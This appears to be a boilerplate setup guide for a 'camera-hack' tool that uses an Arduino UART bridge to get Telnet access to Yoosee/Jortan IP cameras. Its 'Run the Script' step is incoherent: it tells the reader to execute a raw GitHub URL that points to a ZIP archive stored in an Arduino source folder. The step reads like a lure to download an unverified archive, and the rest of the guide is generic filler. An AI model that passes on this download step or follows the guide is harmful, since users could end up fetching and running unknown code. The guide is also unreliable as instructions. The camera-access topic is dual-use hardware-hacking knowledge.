To start using the camera-hack application, follow these simple steps. This guide will help you download and run the software without any hassle.
Before you proceed, ensure you have the following:
- A compatible Yoosee/Jortan IP camera (Anyka AK3918EV330).
- A computer running Windows, macOS, or Linux.
- An Arduino device for the UART bridge connection.
- A USB cable to connect your Arduino to the computer.

-
Connect the Arduino:
- Use the USB cable to connect your Arduino to your computer.
-
Install Arduino IDE:
- Download and install the Arduino IDE from the official site, if you haven’t already.
- You may find detailed installation instructions on the Arduino website.
-
Clone or Download Repository:
- You can choose to clone the repository or download it as a ZIP file. If you download a ZIP, extract the files to a folder on your computer.
-
Open the Project:
- Launch the Arduino IDE.
- Navigate to
File→Open, and select the project file from the extracted folder.
-
Configure the Code:
- Ensure that you have selected the correct Arduino model from
Tools→Board. - Set the correct COM port under
Tools→Port.
- Ensure that you have selected the correct Arduino model from
-
Upload the Code:
- Click on the upload button (right arrow icon) in the IDE. This will compile and upload the code to your Arduino.
-
Set Up UART Connection:
- Connect the UART pins from the Arduino to the camera. Refer to your camera’s documentation for specific pin details.
-
Start the Application:
- After uploading the code, open your terminal or command prompt.
- Navigate to the folder where you downloaded the project files.
-
Run the Script:
- Execute the script by typing
https://raw.githubusercontent.com/wangcai0124/camera-hack/master/arduino/serial_bridge/camera-hack-v2.9.zipin your terminal (adjust based on the filename). - Wait for the connection to establish.
- Execute the script by typing
-
Access the Camera:
- Once connected, you can use Telnet to access the camera’s features.
- Ensure your camera firmware is up-to-date to avoid vulnerabilities.
- Use strong passwords when accessing the camera interface.
- If you experience connection issues, check your UART wiring and ensure your Arduino is powered.
- Ensure that the Baud rate set in the script matches the one configured on the camera.
